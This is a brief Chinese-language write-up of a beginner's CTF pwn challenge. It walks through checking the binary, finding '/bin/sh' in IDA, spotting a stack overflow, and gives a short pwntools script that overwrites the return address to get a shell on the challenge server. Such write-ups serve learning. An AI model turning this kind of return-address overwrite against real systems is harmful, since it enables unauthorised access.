最近才开始接触”pwn“这个东西,这是近两天做的一个题目,然后就想着记一下。
好的,不如正题,
直接nc连接返回空白,然后直接退出,用kali的checksec工具或者是die检测一下附件,
看到有NX,然后是一个64位的应用程序,拖入ida查看,shift+f12看相应的字符串
看到了/bin/sh,
接着追一下,然后f5查看伪代码,
存在溢出,并且是没有保护,然后编写exp
from pwn import *
p = remote('1.14.71.254',28048)
payload = b'a'*24+p64(0x4005B6)
p.sendline(payload)
p.interactive()
这里也可以去一下栈空间,因为是64位的应用程序,然后ret是8,加上溢出16,就是24,也可以是换一种写法b'a'*16+b'b'*8
然后连接,成功进去,cat flag得到答案